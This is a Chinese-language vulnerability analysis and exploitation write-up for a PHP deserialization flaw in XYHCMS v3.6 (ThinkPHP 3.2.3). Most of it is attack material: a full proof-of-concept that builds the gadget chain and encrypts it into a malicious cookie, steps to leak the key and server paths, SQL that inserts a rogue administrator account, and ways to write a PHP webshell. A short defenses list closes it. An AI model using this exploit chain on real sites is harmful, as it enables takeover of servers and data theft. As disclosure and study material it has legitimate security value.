痛失CVE之xyhcms(thinkphp3.2.3)反序列化
字数 1703 2025-08-15 21:34:04
XYHCMS (ThinkPHP 3.2.3) 反序列化漏洞分析与利用
漏洞概述
XYHCMS v3.6 (基于ThinkPHP 3.2.3框架)存在反序列化漏洞,攻击者可通过精心构造的恶意Cookie触发反序列化操作,最终可能导致任意代码执行。该漏洞利用链复杂,涉及多个关键点:
- 配置文件以序列化形式存储在PHP文件中
- Cookie加密机制存在缺陷
- ThinkPHP 3.2.3框架的反序列化利用链
- 通过恶意MySQL服务器实现文件读取
漏洞分析
1. 反序列化入口点
漏洞入口位于/App/Common/Common/function.php中的get_cookie函数:
function get_cookie($name, $key = '') {
if (!isset($_COOKIE[$name])) {
return null;
}
$key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;
$value = $_COOKIE[$name];
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($value);
return unserialize($value);
}
关键点:
- 使用
CFG_COOKIE_ENCODE作为加密密钥 - 密钥可在
/App/Runtime/Data/config/site.php中找到 - 解密后的Cookie值直接进行反序列化
2. 加密机制分析
加密解密类位于/App/Common/Lib/SysCrypt.class.php:
class SysCrypt {
private $crypt_key;
public function __construct($crypt_key) {
$this->crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this->crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this->crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
}
3. 反序列化利用链
利用链如下:
- 触发
Imagick类的__destruct方法 - 调用任意类的
destroy方法 - 通过
Memcache驱动类的destroy方法调用任意类的delete方法 - 利用
Model类的delete方法作为跳板 - 最终通过
Driver类的execute方法执行任意SQL
关键类和方法:
Think\Image\Driver\Imagick::__destruct()Think\Session\Driver\Memcache::destroy()Think\Model::delete()Think\Db\Driver\Mysql::execute()
漏洞利用
1. 环境准备
- PHP 5.x环境(PHP 7不兼容)
- 获取
CFG_COOKIE_ENCODE(位于/App/Runtime/Data/config/site.php) - 注册前台会员账户获取有效Cookie
2. 生成Payload
完整POC代码:
<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn" => "mysql:host=localhost;dbname=xyhcms;port=3306",
"username" => "root",
"password" => "root"
);
}
namespace Think;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = 1;
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0"
);
}
}
namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}
namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}
namespace Common\Lib;
class SysCrypt{
private $crypt_key;
public function __construct($crypt_key) {
$this->crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this->crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this->crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
}
function set_cookie($args, $key = ''){
$key = '7q6Gw97sh'; // 替换为实际的CFG_COOKIE_ENCODE
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
?>
3. 利用步骤
-
获取加密密钥:
- 访问
/App/Runtime/Data/config/site.php获取CFG_COOKIE_ENCODE
- 访问
-
生成恶意Cookie:
- 使用上述POC生成加密后的序列化字符串
- 替换POC中的数据库配置为实际目标
-
发送恶意请求:
- 将生成的Cookie值设置为
uid或nickname - 访问需要Cookie的接口如:
/index.php?s=/Public/loginChk.html/index.php?s=/Home/Member/index.html
- 将生成的Cookie值设置为
-
获取绝对路径:
- 通过访问以下文件触发报错获取路径:
/App/Api/Conf/config.php/App/Api/Controller/ApiCommonController.class.php
- 通过访问以下文件触发报错获取路径:
-
文件读取:
- 使用恶意MySQL服务器读取配置文件
- 修改POC中的数据库配置为目标数据库信息
-
数据库操作:
- 添加管理员账户:
INSERT INTO xyhcms.xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (222,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);- 或通过留言板泄露数据:
UPDATE xyhcms.xyh_guestbook SET content=user() WHERE id=1; -
Getshell:
- 方法1:使用
outfile或general_log写入shell - 方法2:通过添加恶意列名生成含PHP代码的缓存文件:
ALTER TABLE xyh_guestbook ADD COLUMN `<script language='php'>phpinfo();</script>` varchar(10);- 访问留言板生成缓存文件:
/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php
- 方法1:使用
防御措施
- 不要将序列化数据存储在PHP文件中
- 配置文件不应使用PHP后缀或应限制访问
- 加强Cookie加密机制,使用固定密钥
- 升级ThinkPHP框架版本
- 限制数据库用户权限
- 对用户输入进行严格过滤
总结
该漏洞利用链展示了从反序列化入口到最终getshell的完整过程,涉及多个关键技术点:
- 不安全的序列化数据存储
- 脆弱的加密机制
- ThinkPHP 3.2.3的反序列化链
- 通过PDO和MySQL协议的文件读取
- 利用数据库操作实现代码执行
漏洞编号:CNVD-2021-05552